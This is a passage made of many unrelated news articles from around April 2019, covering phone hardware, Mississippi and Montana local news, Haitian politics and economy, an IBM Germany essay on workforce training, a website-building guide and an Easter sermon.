optical FP scanner to read the actual finger - with a specific membrane, placed between the layers of the screen. That way the sensor can read a finger placed in 160 different ways. Finding a way for the scanner under the LCD can make a difference in the low-end and middle-range smartphones, which still mostly rely on LCDs. Via The Nokia 3.2 and 4.2 which were unveiled in February this year at Mobile World Congress have been listed on the company's official India website hinting at an imminent launch. The listings neither reveal the price nor the launch date of these smartphones so we will have to wait for HMD to share more information about the debut of these budget Nokia phones in India. Nokia 3.2 Nokia 4.2 The Nokia 3.2 is powered by Snapdragon 429 SoC and runs Android Pie. It's built around a 6.26-inch HD+ notched display that's backed by a 4,000 mAh battery. The Nokia 4.2, on the other hand, is more powerful than the 3.2 and is powered by Snapdragon 439 SoC, but it comes with a smaller screen and battery. You can head this way to check out the detailed specs of Nokia 3.2 and 4.2. Source 1, 2 | Via PASCAGOULA, Miss. -- Pascagoula police are investigating an early morning shooting on Friday that left one man dead and another with non-life threatening injuries, according to Chief Kenny Johnson. According to police, officers responded to a 911 call just after 5:41 a.m., regarding a home invasion at 4004 Scovel Rd, Apt. 26. When officers arrived to the scene, they discovered two men had been shot. Police say they are looking for two suspects believed to be Spanish speaking males. These men are still at large. Details are limited at this time, but more information will be released pending an investigation, police say. Anyone with information is encouraged to contact Capt. Shannon Broom at 228-762-2211 or Mississippi Coast Crimestoppers at 877-787-5898. OCEAN SPRINGS, Mississippi -- Its not the largest commercial development in Ocean Springs history, but a new development in east Ocean Springs will feature two marquee retail franchises. The development, still under construction but nearing completion, is going up on U.S. 90 east across from the Wal-Mart shopping center and directly west of the Shell station at the corner of U.S. 90 and Hanshaw Road. While still under construction, already signage for a new Sport Clips franchise has gone up on one of the two buildings that comprise the development. Joining Sport Clips will be a Lost Pizza Company franchise, along with a veterinarians office, a vape shop and, possibly, a physical therapy office, according to Ward 5 alderman Rob Blackman, who represents the area. Both Blackman and Mayor Shea Dobson campaigned for office two years ago with a pledge to focus on bringing more commercial development to the eastern end of Ocean Springs. Both told The Mississippi Press this new development is another step in that direction. It was one of my goals when I took office and its what we want to continue to do - grow development out this way," Blackman said. This development is another good step in that direction. Thats the general direction were growing, Dobson said. Were gradually trying to push more business out that way. I realize there are some wetlands issues out there we have to overcome, but were closing the gap and trying to develop as much as we can out there. Sport Clips was founded in 1993 in Texas and has grown to more than 1,800 locations across the U.S. and Canada. Its business model is to appeal to male haircut customers by providing a sports-themed environment, complete with TVs throughout the store with sporting events constantly airing. Among Sport Clips offerings: The MVP Haircut Experience, which includes a haircut, hot steamed towel, shampoo and neck & shoulder treatment. Lost Pizza Company, meanwhile, was founded in 2007 in Indianola, Miss., and now has 14 locations across Mississippi, Tennessee, Arkansas and Florida. The new Ocean Springs location and another soon-to-open location in Grenada, Miss., will bring the total to 16. Lost Pizza has been named Best Pizza in Mississippi by Mississippi Magazine for the past four years and has been named Best Pizza by the Tupelo Daily Journal every year since 2011. Dobson said the business opening in the new development will be welcome for residents in that area of town. I think its very needed out there, he said. It will provide some shops and services at that end of town. A veterinarian is also going to be out there, which will be very good for those residents. Haiti - Saint-Marc : ONAFanm grants 1,200 loans of 25,000 gourdes to small merchants As announced, https://www.icihaiti.com/en/news-27542-icihaiti-saint-marc-onafanm-will-grant-credit-to-more-than-1-000-small-women-merchants.html 1,200 small women Merchants in the commune of Saint-Marc and its surrounding have been integrated into the ONAFanm program, each receiving a loan of 25,000 gourdes to start or strengthen their economic activities. Through the ONAFanm program, Chesnel Pierre, the Director General of the National Old Age Insurance Office (ONA) has shown the way to the democratization of credit throughout the country, convinced that the best approach to change and development is to create equal opportunities for all. How can a country that does not trust its most dynamic and resourceful population group progress ? ONAFanm believes in the expression of an inclusive and prosperous society by the trust it places in the "Madan Sara" to move the country's economy believes the head of the ONA. Throughout the day, the marched went to the Benz Plaza where the team of ONAFanm had installed its reception structure. The beneficiaries were very satisfied "Priye a monte, gras la desann" they claimed while promising to scrupulously respect the conditions provided for in their loan agreement. HL/ HaitiLibre Haiti - Environment : Reforestation, several thousand students mobilized On Thursday, several thousand students were mobilized for the first national day of mobilization for the planting of seedlings as part of the project of reforestation of the country through schools. The result of a partnership between the Ministry of National Education and the Ministry of the Environment (MOE), this initiative is more generally in line with the implementation of the Environmental Education Program (ERE). According to the planning between the two minitries, three days of mobilization are planned for the planting: April 25, May 24 and June 5, 2019. The Departmental Directorates of Education and the Environment, with the support of town halls, CASECs and other partners involved in the field of the environment, took charge of the organization of this first day which was a success in the target areas. Joseph Joute, the Minister of the Environment, who had traveled to the South-East to the Vallee de Jacmel, welcomed and thanked all the educational agents, partners and students who made this day of citizen action, a success where everyone has contributed to regenerate the Haitian environment. Jacques Yvon Pierre, Coordinator at the Office of the Minister of Education, reminded that the Ministry is working on the sustainability of this approach through the implementation of the ERE which involves the development of training modules for educational agents, curricular reforms and other correlative actions. The visible enthusiasm on the ground and the sense of commitment among students through this action prove that the citizen spirit can be reborn and give hope in a difficult socio-economic context. Cap Haitien is already on the next two days and needs to be put in place so that all DDEs are involved in the next day of mobilization scheduled for May 24th. See also : https://www.haitilibre.com/en/news-27468-haiti-environment-d-11-preparations-accelerate-around-the-project-of-reforestation-via-schools.html https://www.haitilibre.com/en/news-27287-haiti-environment-soon-start-of-the-reforestation-project-through-schools.html https://www.haitilibre.com/en/news-24627-haiti-environment-towards-compulsory-reforestation-in-schools.html https://www.haitilibre.com/en/news-23424-haiti-education-the-minister-cadet-provides-an-update-on-the-major-issues-of-his-ministry.html https://www.haitilibre.com/en/news-25224-haiti-environment-inauguration-of-the-3rd-plant-propagation-center.html HL/ HaitiLibre Haiti - FLASH : The MCI strike and the closure of Port Lafiteau seriously threaten the textile industry Georges Sassine, President of the Association des Industries d'Haiti (ADIH) warns that the strike of employees of the Ministry of Trade and Industry (MCI) and the temporary closure this week of the Port of Lafiteau have a negative impact on the textile sector. Recall that since the beginning of the week, employees of the Ministry of Commerce observe a work stoppage requiring better working conditions and the end of favoritism within the institution. According to Georges Sassine, this strike prevents the issuance of export visas and business executives from the outsourcing sector complain, because they can not import the raw material needed to manufacture 130,000 dozen t-shirts, stressing that "even if these companies work they can not export..." Faced with this situation the ADIH sent a correspondence to Ronell Gilles, the Minister of Trade and Industry to find an emergency solution : Letter from ADIH : "Petion-ville, April 24, 2019 [...] Subject : MCI work stoppage Minister, The Haitian Industry Association has learned with horror that an employee strike is taking place in the Ministry of Commerce and Industry. This situation puts at risk nearly 60,000 jobs in the export sector because it is impossible to obtain the visa allowing the shipment of goods to the United States of America. ADIH implores your ministry to set up an emergency service to issue export visas. Hoping that the necessary will be done as soon as possible [...]" Moreover, Sassine deplores that for 3 days, it is no longer possible to export blocked containers to Port Lafiteau temporarily closed by a conservatory decision of the court https://www.haitilibre.com/en/news-27551-haiti-justice-16-containers-missing-justice-temporarily-closes-port-lafiteau.html , underlining that before the economic consequences of this decision the investors lose more and more confidence, which risk of lead to lower production orders at factories in Haiti." He recalls that this is in addition to the crisis caused by the unanimous vote of the deputies (without consultation with the actors concerned) on March 26, 2019, of a bill revising upward (nearly 80%) the minimum wage of wages of subcontracting https://www.haitilibre.com/en/news-27295-haiti-politic-revised-minimum-wages-according-to-the-bill-voted-by-the-deputies.html which has caused serious concern and reaction among industry officials who have threatened to lay off workers and transfer some factories to more competitive countries like the Dominican Republic https://www.haitilibre.com/en/news-27375-haiti-flash-minimum-wage-8-korean-companies-in-haiti-warn.html https://www.haitilibre.com/en/news-27347-haiti-flash-koreans-in-caracol-transfer-their-extension-projects-in-dr.html LAST MINUTE : On Thursday, April 25, 2019, in Port-au-Prince, a memorandum of understanding was signed between the Haitian State represented by Romel Bell, the Director General of the General Administration of Customs (AGD) and Port Lafiteau, represented by and Yves Marie Carlyle Charles for the the Board of Directors of the Port, authorizing the provisional reopening of the Port Lafiteau commercial activities, from Friday, April 26, 2019 following pressure from many customers whose goods are blocked (perishable, drugs, oxygen for hospitals etc ...) and some of whom have contracted bank loans are in difficulties because of this temporary closure... Romel Bell says, that despite the reopening of the port, the investigation will continue on the disappearance of the 16 containers and the people involved. See also : https://www.haitilibre.com/en/news-27551-haiti-justice-16-containers-missing-justice-temporarily-closes-port-lafiteau.html https://www.haitilibre.com/en/news-27547-haiti-security-containers-left-without-inspection-the-terminal-of-the-port-of-lafiteau.html https://www.haitilibre.com/en/news-27409-haiti-economy-fernando-capellan-launches-an-emergency-appeal-to-the-haitian-authorities.html https://www.haitilibre.com/en/news-27345-haiti-flash-following-the-crisis-a-factory-employing-more-than-10-000-workers-began-its-process-of-withdrawal-from-haiti.html https://www.haitilibre.com/en/news-27347-haiti-flash-koreans-in-caracol-transfer-their-extension-projects-in-dr.html https://www.haitilibre.com/en/news-27340-haiti-economy-the-bill-voted-strongly-increasing-the-minimum-wage-concerns-the-ifc-world-bank.html https://www.haitilibre.com/en/news-27310-haiti-politic-minimum-wage-the-lower-house-threatens-the-economy-of-haiti.html https://www.haitilibre.com/en/news-27295-haiti-politic-revised-minimum-wages-according-to-the-bill-voted-by-the-deputies.html Sl/ HaitiLibre Haiti - News : Zapping... Insecurity reaches an intolerable threshold "Insecurity is reaching an intolerable threshold in the country. It exceeds the limits. Armed gangs are mourning. I request from President Jovenel Moise the organization of a meeting between the 3 powers of the State to debate urgently the solutions to adopt" said Senate President Carl Murat Cantave See also : https://www.haitilibre.com/en/news-27559-haiti-flash-massacre-of-carrefour-feuilles-death-toll-climbed-cspn-emergency-meeting.html Two people killed at Delmas 31 Thursday morning two people including a woman were shot by unidentified armed individuals at Delmas 31. Haiti : fastest demography in the Caribbean With an average rate of 1.4% over the last four censuses, Haiti has the fastest population growth in the entire Caribbean and the highest in the region. The census (2003) indicates that 50% of the population was under 21 and a fertility rate per woman of 4.09 children. Senator Augustin disapproves Senatus Senator Kedlaire Augustin (PHTK) on a radio of the capital says he regrets "the flight ahead of Senator Jean Renel Senatus who associates Senator Garcia Delva with the bandit Arnel Joseph." The archdiocese of P-a-P urges the State The archdiocese of Port-au-Prince calls on the State to demonstrate its existence, to act and to work to provide solutions to redress the bar in situations of violence, insecurity, poverty and neglect faced by society. Mgr. Max Leroy Mesidor believes that it is important and necessary that measures be taken to ensure justice for the victims. The Catholic Church urges the police authorities to intervene to put the bandits out of harm's way, reiterating its solidarity with the Haitian people. Congresswoman Maxine Waters in Haiti Congresswoman Maxine Waters visited the Nou Petits freres et Surs Hospital to see how the "President's Emergency Plan for AIDS Relief" (PEPFAR-Haiti), the US Agency for International Development (USAID - Haiti) and the "Center for Disease Control"(CDC) is working with this hospital to fight HIV / AIDS and tuberculosis by providing clinical services, medicines, counseling and testing. HL/ HaitiLibre By William Schwartz | Published on 2019/04/25 On April 25th a large number of foreign fans appeared at the Suseo Community Center in Seoul to welcome Lee Min-ho's return. South Korean media was on hand to take pictures of the event. Advertisement The Suseo Community Center was where Lee Min-ho was doing his service. South Korean men undergoing mandatory military service are officially stationed around various community centers, although they only ever appear there intermittently. Lee Min-ho's military service was frequently delayed due to various medical mishaps, finally starting on May 12th in 2017. He finished his service on April 25th. Lee Min-ho has long been a popular star among international fans of Korean media, so his release has been cause for celebration. Written by William Schwartz Hartmann is leading IBM Germany since January 2018. Before that, he membered the digital board at Postbank, was Senior advisor for digital transformation at mkh assets and CEO of GfK. Hier gehts zur deutschen Version des Essays. The world was still a different place when the German Federal Government and the most important German industrial associations jointly agreed the National Pact for Training and Skilled Manpower Development in June 2004. There were no cell phones, it was still too soon to talk about complete digital networking of value-added chains, far fewer data were available and there were hardly any unfilled training places. The challenges in 2019 have not diminished. Whereas the objective around 15 years ago was to ensure that as many young people as possible entered vocational education and training, i.e. offer them career prospects and enable them to participate in society, we are faced with an equally large task in 2019: Many people regard the possibility of automating work areas coupled with digitalization as a potential threat to their career prospects. As a result of ongoing demographic change and the lengthy procrastination over a modern Immigration Act, we also increasingly have a lack in Europe of qualified specialists who can personally make use of this development. A nascent crisis of confidence is therefore coinciding with a worsening qualification crisis, as aptly stated by Ginni Rometty, CEO of IBM, at World Economic Form in Davos. Top-Jobs des Tages Jetzt die besten Jobs finden und per E-Mail benachrichtigt werden. Standort erkennen Crisis of confidence and a qualification crisis And just like in 2004, we should not point the finger at one another. We here means political decision-makers and responsible leaders in companies and industrial associations. There is a need for joint efforts to ensure that the crisis of confidence does not become an institutional crisis and that the qualification crisis does not become a labor market crisis. With this common objective, politicians and industry leaders must take their joint responsibility more seriously and recognize each other as equal partners. Because this partnership has not just suffered since the results of the Training Pact in 2004. Industry often lacks an understanding of political processes and does not realize that political decisions do not follow the laws of the market very often. Conversely, it is becoming increasingly obvious that some political decisions blatantly show a lack of understanding of the roots of our economic and social prosperity: Prosperity is created through growth and growth through company profit. In this case it is necessary to create the right general conditions, for example for investments, taxes or in training and advanced training. As an entrepreneur, we do not invest in training and advanced training out of a sense of altruism. The labor market for specialists, e.g. in the areas of cybersecurity, artificial intelligence and other new technologies, is almost totally empty. Training as the centerpiece of a new partnership We have therefore been training our own young people for decades. However, in order to remain competitive in the long term, another great challenge is reskilling of our current workforce. We are doing this based on state-of-the-art learning platforms which ensure continuous advanced training which is geared towards rapidly changing market conditions. However, if only around one third of surveyed CEOs currently believe that their workforce possesses the right skills for technological change, this is the last warning shot to formulate new concepts for reskilling of broad employee classes together with social partners. We are not just focusing here on qualifications e.g. coding in the narrower sense, we are also changing the entire working life by arousing and increasing curiosity and a desire for change through continuous learning methods. Nowadays, the best way to achieve this is in areas where multidisciplinary teams cooperate in tasks and where every team member possesses and uses specific skills, but is also prepared to evolve in the project and undergo advanced training. This article is an extract from the book: Sven Afhuppe, Thomas Sigmund (Hg.): Europa kann es besser Wie unser Kontinent zu neuer Starke findet. Ein Weckruf der Wirtschaft Herder publishing house 2019, 240 pages, 20 euros ISBN 978-3-451-39360-0 Published on 15. April 2019 Order the book on amazon. Learning is increasingly taking part in a process, i.e. within the company. Unfortunately, the Grand Coalition's Act on Qualification Opportunities is following an entirely different path because financial incentives were created for advanced training as long as possible by external service providers. Advanced training in the company still has a considerable advantage in our case: It can remove female employees' fear of losing their job due to artificial intelligence (AI) since IBM uses AI both in its internal processes and in services and products for customers. We regard artificial intelligence as a tool for employees to increase their skills, for example when looking for internal training courses and job vacancies or in skill matching. In order to comprehensively support this process, we are cooperating with the ver.di trade union in a scientific study to record the impacts of AI on our future work. The objective of the application study is to examine the effect of AI on jobs, e.g. by using field experiments, and record differences here in the use and the consequences of the use of AI between occupations, activities and qualification levels. Cultural change requires perseverance This is a real change in culture: Working in small agile teams, on-the-job training, learning and using new methods and techniques such as design thinking. In order words, continuous learning throughout working life? This may make some people dizzy. Change means that people must leave their comfort zone and overcome their inner fears. However, social partners and politicians should also share responsibility here. Within the framework of collective agreements we are strengthening flexible working hours models and time sovereignty, are facilitating mobile working and are improving the work-life balance. IBM is not only enabling young up-and-coming talents to study part-time for a Master's degree, but also selected professionals looking for a change. We are investing in 'mid-career development and are enabling mothers to individually restart their career through internal programs. However, the focal point is advanced individual training of every IBM employee. Here at IBM Germany we therefore invested an average of 6.5 training days in personal development for each employee last year. This is well above the average of companies which, according to the latest BITKOM study, is 2.3 advanced training days. They include new scrum masters who previously worked in marketing or agile experts who formerly worked in sales. This showed us that it is becoming increasingly more important to focus on the promotion of motivation and curiosity among individuals rather on the individual formal educational background. This must also be recognized by politicians. Seven suggestions for eliminating barriers and grasping opportunities The European Union provided important impetus with the "New Skills Agenda for Europe in 2016. IBM is not only supporting the 10-point program, it is also taking part itself in initiatives such as the "Pact for Youth, the "EU Vocational Skills Week" or the "Bratislava Declaration on e-skills. However, one thing is also clear: Education is a matter for EU member states. In Ireland we have therefore developed training courses based on the German vocational school together with strong partners and the government: P-TECH acts at the interface between training and academic studies, and allows students to gain practical experience in companies. The focal points are digital skills and new cooperation methods. We must therefore also jointly dismantle barriers in Germany and seize the opportunities which digitalization affords us: Firstly, advanced training in companies must be strengthened and placed on an equal footing with advanced training outside companies. The Act on Qualification Opportunities must therefore be changed to do justice to its name. Secondly, we must develop within the framework of the National Advanced Training Strategy a modern advanced training regime which promotes digital services in order to improve employees' digital and AI skills. Modern advanced training must be used in this case. Concepts such as "blended learning combine online and classroom formats, the acquisition of empirical knowledge, traditional learning units and independent learning by means of digital educational programs. The idea to develop corresponding digital advanced training platforms represents a step in the right direction. Advanced (vocational) training courses at universities must be strengthened and designed in a modular way with eligibility for funding. Thirdly, freedom of movement for workers must be increased substantially in Europe and elsewhere. Companies live from the exchange and creativity of their female employees, irrespective of whether they are now in Berlin, Warsaw or Bangalore. Fourthly, we should jointly adapt existing dual and university training courses to the requirements of the digital revolution. IBM is helping to design courses at different universities in this respect. Fifthly, to put it in provocative terms: The Girls Day must become unnecessary. Instead, we must change our learning culture for everyone. Not every school student must be able to code or carry out programming. It is much more important to make them curious, arouse their spirit of discovery, encourage them to explore things and challenge prevailing circumstances. Sixthly: Yes, we need more digital media in schools, but they are not enough: Good German lessons can benefit from the use of media, but a poor maths lesson does not become better if I use a tablet. Digital media are a communication aid, they should not become the mainstay of teaching. On the contrary, the nature of learning must also be considered so that school students learn more self-reliantly and are therefore prepared for the future working world. This also applies to university training. Seventhly: Lifelong learning must be regarded as an opportunity. Just like everyone of us eagerly looks forward to a new book, an exciting series or an entertaining film, we should also look forward to new occupational phases. Whetting this appetite is a joint social task for companies, social partners and politicians. You will find all published texts, by following this link. Whether you're running a small business, promoting your professional work or showcasing a hobby, your online presence can be crucial to reaching an audience. But building that presence can be daunting. Social media accounts, such as Facebook and Instagram , are a good place to start, but a dedicated website that gives you more control over design, content and features can be a powerful tool. Hiring a professional to design and build a site for you generally costs from a few hundred dollars for a simple personal page to several thousand dollars for a customized small-business site. But building a website no longer requires specialized skills such as coding or graphic design, says Joe Pollaro, a vice president at website builder Wix.com. Do-it-yourself services, such as Duda, Shopify, Squarespace, Weebly, Wix and WordPress, make it easy to build a website. The services generally allow you to focus on the content while they oversee the technical aspects, such as your domain and web hosting, which connects your site to the internet. The service that will be best for you depends on what you want to do with your site. Most, including Squarespace, Wix and WordPress, have broad appeal, while Shopify specializes in e-commerce, packing in features to help you manage sales. Most companies offer a free version, but you'll generally need to pay $10 to $40 a month for a service plan that gives you access to additional storage and features. To get started, you'll need to stake a claim to a domain, the URL for your website. Registering a domain name is simple and often costs $10 to $20 a year. Most website-building services will register a domain name for you (and may include a free year of domain registration). Some services add their name to your web address (yoursite.sitebuildingservice.com). In that case, for a more polished look, cut the middleman from your URL by using a domain registrar, such as GoDaddy.com or Namecheap.com. You'll still pay roughly $10 to $20 to register your domain for a year. But you may need to jump through some hoops, such as extending the registration by a year or paying a fee to use the domain name with your website builder. Before you start adding content to your site, choose a template offered by the website-building service to use as a framework. As you consider your options, get ideas by visiting sites similar to the one you're creating. Or use filters on the website-building service's site to find a template that fits your needs. (Kaitlin Pitsker is a staff writer at Kiplinger's Personal Finance magazine. Send your questions and comments to moneypower@kiplinger.com. And for more on this and similar money topics, visit Kiplinger.com.) (c) 2019 Kiplinger's Personal Finance; Distributed by Tribune Content Agency, LLC. By Emily Mayer Local news was not plentiful in either the April 19 or the April 25, 1919, editions of The Havre Plaindealer. What was published in the April 19, 1919, edition was the formalization of the local veterans organization. Election of officers took place and they were: A. L. Ward, president; Martin Foley, vice president; H. C. Hall, secretary; Maurice B. Hill, treasurer. An executive committee was also chosen, they being Martin Foley, ex-officio, chairman; Charles Emerey; Herbert Goms; Talbert Erickson; Charles Graham; Max P. Kuhr; C. B. Elwell; Charles MacKenzie; D. S. MacKenzie and L. W. Latham. A militia company for Hill County and an armory were discussed, as well as a real military ball and services for the upcoming Memorial Day observance. Plans for the state convention in Malta were made, and members going outside Havre to recruit veterans in other Hill County towns would occur soon, with a group going to Kremlin the following Saturday. Area veterans were wasting no time getting things accomplished and planning for the future. Also in the April 19 edition, it was reported the official canvass of the recent city elections had taken place. The council authorized the mayor to purchase a metal garage from Charles Boles for no more than $225. It was located on the lot in back of the Oxford Block, then located on the southwest corner of First Street and Fourth Avenue. The Plaindealer bragged, The garage is as good as new and cost over $400. The garage itself was planned to be moved to city hall, then located at the northeast block of First Street and Fourth Avenue, so it wasnt going far. The building would be used to park cars and allow the city to purchase gasoline in bulk, thus anticipating a big savings on that line item expense. The local veterans werent the only ones choosing their new leadership. The local Moose lodge chose its slate of officers for the upcoming year, they were John J. Nickels, dictator; John Gallus, vice dictator; Lawrence Gologoski, prelate; E. I. Blair, secretary; John M. Kay, treasurer; Chas. P. Hilla, trustee; Geo Hebert, trustee; and Sam Gallus, trustee. What was going on in the courtroom made big news in the April 25, 1919, edition. Ernest Galavig was convicted of burglary, and Lars Tennyson pleaded guilty to deserting his wife and was given a parole sentence. The case against L. E. Johnson, the man charged with taking mortgaged property, an automobile, out of Hill County without the written consent of the bank. It was found there was no mortgage on the car. Mr. Johnson went to Wyoming for, of all things, lucrative employment in that state and used the car to get there. The next cases are fairly entertaining and intriguing. The Plaindealer reports: The case against Guy Cunningham was the outcome of a little disturbance in the Liberty Hotel block a few weeks since as a result of which, Tom Casey and Ed Wilson appeared in police court and Casey was fined twenty-five dollars each, on tow charges, and Wilson $25 on one charge. Because of their financial condition, they were given a little time by the judge in which to settle but Wilson has paid a part of his fine. If the fines are not paid before the end of the month, they will feel the arm of the law again. At this trial in police court from the testimony offered, it appeared that the two men and Cunningham and Mrs. Casey had some part in what finally ended in the disturbance. Because of statements there made about Cunningham, a liquor charge was filed by the county attorney, accusing him of giving away liquor but the evidence failed to satisfy the jury and he was acquitted. The case against (Charles) Faun, (Louis) Sing, (Lee) Bing and John Doe for a liquor law violation was dismissed as the only witness for the state had disappeared. When the case of L. E. Brady, Purdy, Erlandson and Robertson came up, Assistant attorney General Grorud appeared for the state and moved for dismissal for lack of sufficient evidence. L. E. Brady played a prominent part last fall as a non-partisan league leader in this county. Just why Mr. Grorud appeared in the case instead of Mr. Stranahan is not known. It is assumed that Mr. Grorud is here this time partly in connection with the case against him which is set down for next week upon appeal from justice court. Also there is considerable speculation as to whether his presences foreshadows the filing of boot-legging and clean-up cases which were promised by certain factions last fall if C. R. Stranahan were elected county attorney. It is not known whether the Rev. E. J. Huston is taking any interest in such preparations if they are being made, but it has been suggested that perhaps he will leave such matters to the present county attorney. Because of the absence of these expected clean-up and liquor cases so far this year, although prohibition is now in effect, considerable interest has been aroused by Mr. Groruds visit here. Readers will recall a big bust at the Border Saloon close to the election last year. The court report stated the cases against Ova Brower and A. B. Livermore were continued. So, the saga goes on! Metro Manila (CNN Philippines, April 26) Authorities arrested last Wednesday a suspected member of the Abu Sayyaf working as a security guard in an office building in Muntinlupa City. Police said Friday they served an arrest warrant on Aldemar Murih Saiyari, who is accused of kidnapping and serious illegal detention. Authorities said Saiyari posed as a private security guard with a fake license. They added that the license of Blue Panthers, the security agency Saiyari was working for, has been expired since 2014. The security agency has been ordered by the police to stop operations in 2016 for failure to renew its license. Saiyari is now under the custody of the Southern Police District in Taguig City, police said. The polices Civil Security Group has been monitoring all private security agencies and guards nationwide to make sure they are following the Commission on Elections ban on security details. Another Abu Sayyaf member was also arrested in Quezon City last week. CNN Philippines Correspondent Gerg Cahiles contributed to this report. Pattinson: They didnt realize what Brettanomyces was doing to the beer, but that was what provided the aged flavor. It would have been picking it up from the vats. The fresh beer was a way of smoothing the beer out. Porter has been many things over many years, and were looking at this one as a snapshot of the early 19th century. This is quite a lively beer because of the young beer but has a nice aged flavor. Were going for the 1840s pub experience. From the Office of the Montana State Auditor Insurance Commissioner Matt Rosendale and his staff from the State Auditors office are hosting an event in Havre next week to help people understand what they should do after a major hailstorm. Storms in recent years have caused major hail damage in various areas around Montana. Large hail events are often followed by insurance and contractor problems for property owners, including in some cases outright fraud by out-of-state contractors. To address these problems, the insurance commissioners office is working to educate Montanans about the steps they should take if their cars, homes, or other property are damaged by hail. Rosendale will be hosting three Hail Fraud Prevention Workshops in Lewistown, Havre, and Great Falls next week to address this issue. The meeting in Havre runs from 11:30 a.m. to 1 p.m. in Havre Inn and Suites at 1425 U.S. Highway 2 West. Attendees will learn how to work with their insurance company after a hail storm and what they should watch out for as they work with contractors and others to get property repaired. This event is open to the public and lunch will be provided. Attendees are asked to sign up for the event at http://bit.ly/HavreHailMeeting so the State Auditors Office can get a head count for food. WHAT: Hail Fraud Prevention Workshop WHEN: Thursday, May 2, 2019 from 11:30 a.m. to 1 p.m. WHERE: Havre Inn and Suites, 1425 Hwy 2, Havre FOOD: Lunch will be provided EVENT REGISTRATION: http://bit.ly/HavreHailMeeting Youth Serve Montana Scholarship intended to recognize, encourage volunteer service From Governors Office of Community Service HELENA Local high school seniors were among the 100 that the Governors Office of Community Service, in partnership with Reach Higher Montana and Montana Campus Compact, awarded $1,000 scholarships. The Youth Serve Montana Scholarship recognizes students dedication to community service and helps students who wish to attend school in Montana. They are intended to promote volunteerism and encourage young leaders to further their learning. These 100 students have given their time and energy to those who need it most and made their communities and Montana a better place to live, Dan Ritter, executive director of the Governors Office of Community Service, said. The local students who were winners of the 2019 Youth Serve Montana Scholarship, and the college they plan to attend, are: Tyler J. Wanke of Chester, Montana State University in Bozeman. Kourtney R. Hanson of Chinook, Montana State University Billings. Paxtin R. McCann of Chinook, Carroll College. Skylee P Dirden of Harlem, Montana State University-Northern. John 19:30 Out our way, the Easter sales are over and all the unsold candy, chocolate bunnies and lilies are marked down. At the store where I work to supplement my income and help support my son and myself, the back room is filled with non-perishable Easter items to be sent back to the big warehouse. It is finished, says the manager and we move onto the next big sales event. Is that what Jesus meant in His last word from the cross? For a good many folks who celebrate Easter in various ways, even having attended church last Sunday and enjoying the celebrations was just a momentary thing. After worship and the family gathering, they say It is finished and begin to return a primarily secular existence again. Is that what Jesus meant? For those who deny the Resurrection and its meaning, the last word from Christ refers to His life. After He said that word, He hung His head and died. Is that what Jesus meant by It is finished? Well, maybe we need to take a closer look. One of the most terrifying and yet beneficial requirements of ordination in the Presbyterian Church is being required to take and pass courses and exams in the biblical languages. Even before Doc tossed me on my head so many times, the old brain of this child was never in the best working order especially in languages. Yet after 1 years of both Greek and Hebrew, some of it got through and I began to discover the difficulty translators have in conveying the full depth of the original languages. For example, there are four different words for love in Greek, each with a different meaning. Yet in English, we have only the one, so we use the same word to refer to our favorite pizza, our friends, our dearest friend, and that special someone who makes the heart beat faster. Now as it happens, the statement It is finished is actually a single word in the original Greek and according to Matthew, it was given as a loud shout! (Matthew 27:50). Unlike so many movies in which Jesus whispers the words slowly and dies, the Gospels say He shouted it. It was not a word of resignation but of victory. Indeed Greek warriors used the same word when they shouted victory over their defeated enemies. So what is it in It is finished? Consider that question in light of what you now know. It is certainly the task for which Christ has come. Mission accomplished, the job complete, the sacrifice paid, the way for sinners to return to God open. But that is only part of it. It is also the establishment of the Kingdom of God on earth as it is in heaven. Some have suggested the Normandy invasion as a good analogy to the life and death of Christ, for Christ established the beachhead from which the power of the Kingdom would flow into the world and liberate all the conquered territory. In Mel Gibsons The Passion there is the scene of Satan writhing in agony and screaming in frustration as Christ gave up His Spirit, for as Luther wrote in his hymn: His (Satans) rage we can endure, for lo, his doom is sure! Thus it in It is finished also refers to Satans reign over earth and the power of darkness to enslave the human race. The war is not yet over, but the final outcome is not in doubt. Satans hopes are finished and ours have just begun. The big annual Easter sales are over and so are the formal Church services to celebrate Christs resurrection but the Easter season is not over nor is the resurrection. If Easter is just bunnies, colored eggs and candy for many folks, then perhaps indeed it is finished and Satan can breathe a sigh of relief that he has hung on to some occupied territory. But if folks start to grasp that the Resurrection event like the Normandy invasion is just the first major step in the long road to final victory, then what is finished is the fear of the dark lord and his power. What is finished is hopelessness. The celebration of Easter finished last Sunday but the Resurrection did not. Read on: of the Risen Christ amongst His followers, His appearance to the 12, then to Thomas the sceptic a week later, then to the travelers on the Emmaus Road, and on and on. Then turn to Acts and see the power of Christ descend in the Holy Spirit on the Day of Pentecost and transform the disciples, Jerusalem and eventually the world. And of course there is the Damascus Road where Christs greatest enemy, Saul, was transformed in Christs greatest apostle, Paul. It is still going on today despite efforts by some to hide it from the world. The New York Times censored Vaclav Havels inauguration speech, removing his references to the Christian movement in East Germany, Poland, Romania and other Eastern European countries being a major, if not the primary, force that was pushing out the Communists. He called it a new reformation. The New York times removed all references to Christianity and Christ, but the message still got out. Even in the Soviet Union, the state run Pravda paper printed the speech in its entirety. But this is nothing new. For 2,000 years the dominant worldly powers and their allies have sought to block the Resurrections impact, ridiculing, censoring and persecuting those who proclaim it. As the bells of the churches in the Kremlin peal out the celebration of the Resurrection, Stalins scornful question to the Church and Christ when he scoffed How many divisions does the pope have? has been answered. Some will resist the reality of the Resurrection, which refuses to be limited to chocolate bunnies and eggs one day a year, but the Resurrection Event continues to fill the earth. Indeed for those who still cling to the prince of this worlds (John 12:31) authority, it is indeed finished. Blessings, Brother John Bruington A sign designates Sally Ann's Thrift Store of The Salvation Army on Third Street in Havre. After major renovation and reorganization, the thrift store is reopening May 17. After eight months of being closed, the Salvation Army Thrift Store will be reopening its doors May 17. "It's going to be very clean, very fresh and it's going to be very well organized and well stocked," said Capt. Jonathan Harvey, general secretary of Salvation Army's Northwestern Division in Seattle. "Those are really the key elements that we are looking for in our stores, is having them clean and fresh, well-organized and fully stocked." He said that the Salvation Army will also be taking donations again, Monday to Friday from 9 a.m. to 5 p.m. Donations can be dropped off in the back of the building. He added that people should donate within the hours the store is open, to prevent what is being donated being ruined or damaged. The Salvation Army is a non-profit organization that raises a large portion of its funding for community programs through the thrift stores. Previously, the store was very run-down, he said, and was not generating any net resources to help support the Salvation Army's programs. "It was actually costing us money to keep it open, and that just completely defies the object of having this retail store here available," Harvey added. He said that the organizational structure of the store is much different from before, now being a community volunteer-based operation. In addition to repainting, reorganizing, replacing lighting and the flooring, the Salvation Army hired Carissa Minnick as the volunteer coordinator. Minnick has one of the two paid position in reorganized thrift store, Harvey said, adding that the rest of the people working in the store will 